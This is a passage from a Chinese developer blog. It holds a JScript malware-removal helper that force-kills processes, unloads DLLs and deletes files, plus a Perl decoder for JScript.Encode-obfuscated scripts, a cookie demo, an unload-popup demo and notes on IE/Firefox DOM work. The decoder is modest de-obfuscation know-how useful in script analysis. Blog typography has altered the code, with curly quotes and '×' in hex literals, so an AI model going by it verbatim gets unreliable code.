if(findProcessByPid(pid) == null){//不存在pid所代表的进程
WScript.StdErr.WriteLine(“!!!!!不存在进程(pid=” + pid + “, level=” + level + “)”);
return;
}
var oExec;
if(params == null || params.length < 1){
oExec = objWSH.Exec(“spt “ + pid + ” “ + level);
}else{
oExec = objWSH.Exec(“spt “ + pid + ” “ + level + ” “ + params);
}
var isSuccessful = false;
while(!oExec.StdOut.AtEndOfStream)
{
var output = oExec.StdOut.ReadLine();
if(output.indexOf(“succeed”) > -1){//程序执行成功
isSuccessful = true;
break;
}
}
if(!isSuccessful){
WScript.StdErr.WriteLine(“!!!!!强制终止进程(pid=” + pid + “, level=” + level + “)失败”);
}else{
WScript.StdOut.WriteLine(“*****强制终止进程(pid=” + pid + “, level=” + level + “)成功”);
}
}catch(err){
objWSH.Popup(“请将第三方程序spt.exe与本专杀放在同一目录下”,64,“注意”);
hasExceptions ++;
WScript.StdErr.WriteLine(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
//dll文件卸载
function unloadDll(dllName)
{
try{
var oExec = objWSH.Exec(“ps /e * “ + dllName);
var output = “”;
var isSuccessful = false;
while(!oExec.StdOut.AtEndOfStream)
{
var output = oExec.StdOut.ReadLine();
if(output.indexOf(“succeed”) > -1){//程序执行成功
isSuccessful = true;
break;
}
}
if(!isSuccessful){
WScript.StdOut.WriteLine(“!!!!!强制卸载dll文件:” + dllName + “失败,请确认dll文件名是否正确”);
}else{
WScript.StdOut.WriteLine(“*****强制卸载dll文件:” + dllName + “成功”);
}
}catch(err){
objWSH.Popup(“请将第三方程序ps.exe与本专杀放在同一目录下”,64,“注意”);
hasExceptions ++;
WScript.StdErr.WriteLine(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
/**************************************
************ 文件操作 ***************
**************************************/
//删除文件(根据全路径+文件名,注意路径中的斜杠是\\)
function deleteFile(fileName)
{
try{
if(fso.FileExists(fileName)){
var v = fso.GetFile(fileName);
v.attributes = 0;
v.Delete(true);//force delete if read-only flag is set
if(fso.FileExists(fileName)){//check if file has been deleted
WScript.StdErr.WriteLine(“!!!!!删除文件’” + fileName + “‘失败”);
}else{
WScript.StdOut.WriteLine(“*****删除文件’” + fileName + “‘成功”);
}
}
}catch(err){
hasExceptions ++;
WScript.StdErr.WriteLine(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
//删除文件(根据环境变量名+文件名,注意路径中的斜杠是\\)
function deleteFileByEnvVar(fileSpec){
try{
var d = objWSH.ExpandEnvironmentStrings(fileSpec);
if(fso.FileExists(d)){
var v = fso.GetFile(d);
v.attributes = 0;
v.Delete(true);//force delete if read-only flag is set
if(fso.FileExists(d)){//check if file has been deleted
WScript.StdErr.WriteLine(“!!!!!删除文件’” + fileSpec + “‘失败”);
}else{
WScript.StdOut.WriteLine(“*****删除文件’” + fileSpec + “‘成功”);
}
}
}catch(err){
hasExceptions ++;
WScript.StdErr.WriteLine(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
//强制删除文件(借助第三方工具)
//写文本文件
function writeTextToFile(txt, fileName, iomode, ForceCreate)
{
try{
var re = fso.OpenTextFile(fileName, iomode, ForceCreate);
re.Write(txt);
re.Close();
}catch(err){
hasExceptions ++;
WScript.StdErr.WriteLine(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
//复制文件
function copyFile(src, dst)
{
try{
if(fso.FileExists(src)){
var tempDst = dst.substring(0,dst.lastIndexOf(“\\“) + 1);
if(!fso.FolderExists(tempDst)){//检查是否存在目标文件所在的目录
if(objWSH.Popup(“不存在目标目录” + tempDst + “自动创建?”,64,“注意”,vbOKCancel) == vbCancel){//放弃复制
return;
}
fso.CreateFolder(tempDst);
}
if(fso.FileExists(dst)){//检查目标文件是否已经存在
if(objWSH.Popup(“目标文件” + dst + “已存在,是否覆盖?”,64,“注意”,vbOKCancel) == vbCancel){//放弃覆盖
return;
}
}
fso.GetFile(src).Copy(dst);
}else{
objWSH.Popup(“要拷贝的源文件” + src + “不存在”,64,“注意”,vbOKOnly);
}
}catch(err){
hasExceptions ++;
WScript.StdErr.WriteLine(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
//删除目录
function deleteFolder(folderName)
{
try{
if(fso.FolderExists(folderName)){
var folder = fso.GetFolder(folderName);
folder.attributes = 0;
folder.Delete(true);
if(fso.FolderExists(folderName)){
WScript.StdErr.WriteLine(“!!!!!删除目录’” + folderName + “‘失败”);
}else{
WScript.StdOut.WriteLine(“*****删除目录’” + folderName + “‘成功”);
}
}
}catch(err){
hasExceptions ++;
WScript.StdErr.WriteLine(“Error “ + hasExceptions + ” occurred\nCode: “ + hex(err.number) + “\nDescriptions: “ + err.description);
}
}
/**************************************
************ UtilsHelper类 ***************
**************************************/
function hex(nmb)
{
if (nmb > 0)
return nmb.toString(16);
else
return (nmb + 0×100000000).toString(16);
}
function info()
{
var _name = “Virus Clean Helper”;
var _author = “All rights by TrojanJason@NEWSMTH”;
var _version = “Version 0.1″;
objWSH.Popup(_author + “\n“ + _version, 64, _name);
}
//run TestCase
var TestCase = new TestVCHelper();
TestCase.buildTestCase();
TestCase.runTestCase();
一个JS操作Cookie的代码Demo,备忘&备查。
<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.0 Transitional//EN”>
<HTML>
<HEAD>
<TITLE> Cookie Read & Write Demo</TITLE>
<SCRIPT LANGUAGE=“JavaScript”>
<!–
var flag;
if(document.cookie){
flag = readCookie(“flag”);
}else{
alert(“shit!”);
createCookie(“flag”,“true”,10);
}
function test()
{
if(flag){
flag=false;
alert(“yes”);
eraseCookie(“flag”);
createCookie(“flag”,flag,10);
}else{
flag=true;
alert(“no”);
eraseCookie(“flag”);
createCookie(“flag”,flag,10);
}
}
function createCookie(name,value,days) {
if (days) {
var date = new Date();
date.setTime(date.getTime()+(days*24*60*60*1000));
var expires = “; expires=”+date.toGMTString();
}
else var expires = “”;
document.cookie = name+“=”+value+expires+“; path=/”;
}
function readCookie(name) {
var nameEQ = name + “=”;
var ca = document.cookie.split(‘;’);
for(var i=0;i < ca.length;i++) {
var c = ca[i];
while (c.charAt(0)==‘ ‘) c = c.substring(1,c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return null;
}
function eraseCookie(name) {
createCookie(name,“”,-1);
}
function alertCookie(name){
alert(readCookie(name));
}
//–>
</SCRIPT>
</HEAD>
<BODY>
<input type=button onclick=”alertCookie(‘flag’);“ value=“zz”>
<input type=button onclick=”test();“ value=“setCookie”>
</BODY>
</HTML>
今天做完评估后,针对微软的那个JS.Encode加密JS代码的问题,我特地Google了一下,果然找到了一个Decode的工具,而且是用我最爱的Perl编写的,嘿嘿,特此贴上源代码部分
#!/usr/local/bin/perl -w
my $version=1.0;
sub decode;
my @itable = (0,2,1,0,2,1,2,1,1,2,1,2,0,1,2,1,
0,1,2,1,0,0,2,1,1,2,0,1,2,1,1,2,
0,0,1,2,1,2,1,0,1,0,0,2,1,0,1,2,
0,1,2,1,0,0,2,1,1,0,0,2,1,0,1,2);
my @dectab =
(
[0×00,0×01,0×02,0×03,0×04,0×05,0×06,0×07,0×08,0×57,0×0A,0×0B,0×0C,0×0D,0×0E,0×0F,
0×10,0×11,0×12,0×13,0×14,0×15,0×16,0×17,0×18,0×19,0×1A,0×1B,0×1C,0×1D,0×1E,0×1F,
0×2E,0×47,0×7A,0×56,0×42,0×6A,0×2F,0×26,0×49,0×41,0×34,0×32,0×5B,0×76,0×72,0×43,
0×38,0×39,0×70,0×45,0×68,0×71,0×4F,0×09,0×62,0×44,0×23,0×75,0×3C,0×7E,0×3E,0×5E,
0xFF,0×77,0×4A,0×61,0×5D,0×22,0×4B,0×6F,0×4E,0×3B,0×4C,0×50,0×67,0×2A,0×7D,0×74,
0×54,0×2B,0×2D,0×2C,0×30,0×6E,0×6B,0×66,0×35,0×25,0×21,0×64,0×4D,0×52,0×63,0×3F,
0×7B,0×78,0×29,0×28,0×73,0×59,0×33,0×7F,0×6D,0×55,0×53,0×7C,0×3A,0×5F,0×65,0×46,
0×58,0×31,0×69,0×6C,0×5A,0×48,0×27,0×5C,0×3D,0×24,0×79,0×37,0×60,0×51,0×20,0×36],
[0×00,0×01,0×02,0×03,0×04,0×05,0×06,0×07,0×08,0×7B,0×0A,0×0B,0×0C,0×0D,0×0E,0×0F,
0×10,0×11,0×12,0×13,0×14,0×15,0×16,0×17,0×18,0×19,0×1A,0×1B,0×1C,0×1D,0×1E,0×1F,
0×32,0×30,0×21,0×29,0×5B,0×38,0×33,0×3D,0×58,0×3A,0×35,0×65,0×39,0×5C,0×56,0×73,
0×66,0×4E,0×45,0×6B,0×62,0×59,0×78,0×5E,0×7D,0×4A,0×6D,0×71,0×3C,0×60,0×3E,0×53,
0xFF,0×42,0×27,0×48,0×72,0×75,0×31,0×37,0×4D,0×52,0×22,0×54,0×6A,0×47,0×64,0×2D,
0×20,0×7F,0×2E,0×4C,0×5D,0×7E,0×6C,0×6F,0×79,0×74,0×43,0×26,0×76,0×25,0×24,0×2B,
0×28,0×23,0×41,0×34,0×09,0×2A,0×44,0×3F,0×77,0×3B,0×55,0×69,0×61,0×63,0×50,0×67,
0×51,0×49,0×4F,0×46,0×68,0×7C,0×36,0×70,0×6E,0×7A,0×2F,0×5F,0×4B,0×5A,0×2C,0×57],
[0×00,0×01,0×02,0×03,0×04,0×05,0×06,0×07,0×08,0×6E,0×0A,0×0B,0×0C,0×06,0×0E,0×0F,
0×10,0×11,0×12,0×13,0×14,0×15,0×16,0×17,0×18,0×19,0×1A,0×1B,0×1C,0×1D,0×1E,0×1F,
0×2D,0×75,0×52,0×60,0×71,0×5E,0×49,0×5C,0×62,0×7D,0×29,0×36,0×20,0×7C,0×7A,0×7F,
0×6B,0×63,0×33,0×2B,0×68,0×51,0×66,0×76,0×31,0×64,0×54,0×43,0×3C,0×3A,0×3E,0×7E,
0xFF,0×45,0×2C,0×2A,0×74,0×27,0×37,0×44,0×79,0×59,0×2F,0×6F,0×26,0×72,0×6A,0×39,
0×7B,0×3F,0×38,0×77,0×67,0×53,0×47,0×34,0×78,0×5D,0×30,0×23,0×5A,0×5B,0×6C,0×48,
0×55,0×70,0×69,0×2E,0×4C,0×21,0×24,0×4E,0×50,0×09,0×56,0×73,0×35,0×61,0×4B,0×58,
0×3B,0×57,0×22,0×6D,0×4D,0×25,0×28,0×46,0×4A,0×32,0×41,0×3D,0×5F,0×4F,0×42,0×65]);
if (scalar(@ARGV) < 2)
{
print “\nJScript.decode.pl $version\n(c) Christophe Grosjean 01/2004\nUsage: JScript.decode.pl infile.htm outfile.htm\n“;
exit;
}
open(IN,“<$ARGV[0]“) || die “Can’t open input file\n“;
open(OUT,“>$ARGV[1]“) || die “Can’t open output file\n“;
my $before;
my $coded;
my $after;
while (<IN>){
($before,$coded,$after)= ($_ =~ /^(.*)\#@~\^(.*)\^\#~@(.*)$/);
if (defined($coded)){
print OUT $before;
decode($coded);
print OUT $after;
$coded = undef;
}
else{
print OUT $_;
}
}
exit;
sub decode {
my $coded = shift;
my $decoded;
my $pos = 0;
my $i = 8;
while ($i<length($coded)){
my $res = ord(substr($coded,$i++,1));
if ($res < 0×80){
$res = ${$dectab[$itable[$pos]]}[$res];
# following char is marked as a special char
if ($res == 0xFF){
$res = ord(substr($coded,$i++,1));
if ($res == 0×26) {$res = 0×0A;}
elsif ($res == 0×23){$res = 0×0D;}
elsif ($res == 0×2A){$res = 0×3E;}
elsif ($res == 0×26){$res = 0×0A;}
elsif ($res == 0×21){$res = 0×3C;}
elsif ($res == 0×24){$res = 0×40;}
}
}
$pos = ($pos+1)&0×3F;
if ($res != 255){
$decoded.=chr($res);
}
}
print OUT $decoded;
}
PS:本人是非常的痛恨网站的这种bs Firefox的行为,为什么就不能做到W3C compatible呢?
今天写的一个js,目的是在用户关闭浏览器窗口的时候,向服务器发送一个消息
实际操作过程中,客户端这边的功能实现起来并不困难,仅是在解决浏览器兼容性的问题上花了点时间,现在的这个版本同时支持IE6和firefox 1.5
下面就是一个简单的demo性质的例子
| <!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.0 Transitional//EN”> <html> <head> <title>关闭窗口测试</title> <SCRIPT LANGUAGE=”JavaScript”> <!– addEvent(window,”unload”,zz,true); function addEvent(obj, evType, fn, useCapture){ if (obj.addEventListener){ obj.addEventListener(evType, fn, useCapture); return true; } else if (obj.attachEvent){ var r = obj.attachEvent(”on”+evType, fn); return r; } else { alert(”Handler could not be attached”); } } function zz(){ alert(”不要关闭窗口啊!”); window.open(”http://www.newsmth.net”);//firefox will not work } //–> </SCRIPT></head> <body> |
Firefox默认不支持IE的XMLDOM提供的selectNodes和selectSingleNode方法。IE中可以通过这两个方法解析获得一系列Nodes或者一个单独的Node。下面的脚本可以扩展Firefox的XMLDocument和Element对象以支持这两个函数。
代码
| // check for XPath implementation if( document.implementation.hasFeature(”XPath”, “3.0″) ) { // prototying the XMLDocument XMLDocument.prototype.selectNodes = function(cXPathString, xNode) { if( !xNode ) { xNode = this; } var oNSResolver = this.createNSResolver(this.documentElement); var aItems = this.evaluate(cXPathString, xNode, oNSResolver, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null) ;var aResult = []; for( var i = 0; i < aItems.snapshotLength; i++) { aResult[i] = aItems.snapshotItem(i); } return aResult; } // prototying the Element Element.prototype.selectNodes = function(cXPathString) { if(this.ownerDocument.selectNodes) { return this.ownerDocument.selectNodes(cXPathString, this); } else{ throw “For XML Elements Only”; } } } |
| // check for XPath implementation if(document.implementation.hasFeature(”XPath”, “3.0″)) { // prototying the XMLDocument XMLDocument.prototype.selectSingleNode = function(cXPathString, xNode) {if( !xNode ) { xNode = this; } var xItems = this.selectNodes(cXPathString, xNode); if( xItems.length > 0 ) { return xItems[0]; } else { return null; } } // prototying the Element Element.prototype.selectSingleNode = function(cXPathString) { if(this.ownerDocument.selectSingleNode) { return this.ownerDocument.selectSingleNode(cXPathString, this); } else{ throw “For XML Elements Only”;} } } |
示例用文档:
| <![CDATA[ <root> <complex> <node> <test>value 1</test> </node> </complex> <complex> <node> <test>value 2</test> </node> </complex> <complex> <node> <test>value 3</test> </node> </complex> <complex> <node> <test>value 4</test> </node> </complex> </root> ]]> |
用法示例
| function test( oXML ) { var xItems = oXML.responseXML.selectNodes(”//complex/node/test/text()”); var sn = “XPath : //complex/node/test/text() \nMethod : selectNodes()\n”; for( var i = 0; i < xItems.length; i++ ) { sn += “index : “+ i + ” | value : ” + xItems[i].nodeValue + “\n”; } alert( sn ); ssn = “XPath : //complex/node/test/text() \nMethod : selectSingleNode()\n”; ssn+= oXML.responseXML. selectSingleNode(”//complex/node/test/text()”).nodeValue; alert( ssn ); } |
最近,由于项目需要,需要在web页面的客户端动态生成表单元素。要求同时支持IE和firefox,而我之前从来没有接触过类似的任务,一切都是从零开始。现在已经完成了需求,特将实践过程中积累的经验在此分享一下。
对于动态HTML编程,IE实现了两套模型:一套是以操作innerHTML为主的狭义的DHTML,一套是以集合方式操作(appendChild)页面元素对象的DOM(Document Object Model)。DHTML方式(我本文说的DHTML都默认指的对于innerHTML进行操作的编程方式,不是广义的DHTML。) 直接操作html代码片断,主要靠Web程序员使用字符串拼接来生成页面元素,这是一种高效的动态页面操作方式,不过似乎少些编程逻辑的味道,代码中往往散布着大量不完整的html代码片断。而DOM方式进行动态页面编程,在逻辑上是一种对集合和元素对象的操作,编程逻辑比较清晰,不过效率上有一些差别。具体使用什么方式来实现动态Web页面,大多数情况下是个人的喜好问题。
先简单介绍一下我的客户需求:
动态生成的界面元素是一个表格,点击按钮增加一行,该行中包含一个按钮,点击后再删除该行。该表格的内容包含一个表单中,当提交表单的时候,后台程序将获得表格中的相应内容。
最开始我的实现思路是利用innerHTML,父对象我选择的是一个固定的table,这种方法在firefox 1.5.x中实践通过,但是在IE中,出现异常。
我用try…catch获得的异常消息是:“未知的运行时错误”,跟没说一样,逼视一下IE!
于是我在程序中另辟途径,先判断当前浏览器的类型,如果是firefox,则继续使用innerHTML的方法,否则用DOM树生成的方法。
注意,判断浏览器类型最好不要用navigator.appName来判断,我采用的是
if(document.all && document.getElementById)
{
//do IE
}
else
{
//do firefox
}
使用DOM,最常用的方法就是document.createElement(sTag),sTag是一个合法的html标签名字(tagName)。我们创建好一个html元素对象后,对它的属性进行赋值,然后insertBefore或appendChild到页面的DOM对象树中。这里msdn提醒了几个注意事项:
1、不能通过编程方式动态创建frame和iframe元素(IE 5.0及以下);
2、input元素被创建后默认的类型是input type=’text’;
3、需要使用其他类型的input元素,需要在把input对象放入DOM对象树之前给input.type赋予你希望的类型,否则在input insert或append进入DOM对象树后不能再修改;
4、button元素被创建后默认的类型是普通按钮,要使用其它类型按钮,需要遵循和问题3相同的注意事项;
5、不能为通过向元素对象赋值得方式,为元素对象添加NAME属性(这个在“细说HTML元素的ID和NAME属性详解”一文里也是提过的)。
6、sTag其实不只限于html标签名,任何合法的html元素语句都可以。
下面说一下我遇到的问题,当我在使用DOM方式进行动态页面创建的时候,发现不能使用普通的DOM方式为input type=’checkbox’和input type=’radio’赋初值。即下面的语句:
var input = document.createElement(’INPUT’);
input.type = ‘checkbox’;
input.checked = true;
document.body.appendChild(input);
input = document.createElement(’<INPUT checked>’);
input.type = ‘radio’;
document.body.appendChild(input);
不能得到我期望的效果:
,而只能得到:
。
而要得到我期望的效果,需要混合DHTML和DOM两种方式就是说我必须在sTag里就构建好的属性,使用如下代码:
var input = document.createElement(’<INPUT checked>’);
input.type = ‘checkbox’;
document.body.appendChild(input);
input = document.createElement(’<INPUT checked>’);
input.type = ‘radio’;
document.body.appendChild(input);
类似的,如果需要在创建的元素中支持js脚本调用,只需要采用类似以下的方法:
var input_4 = document.createElement(”<input name=’button’ onclick=’hide(\”para”+show_int+”\”);’>”);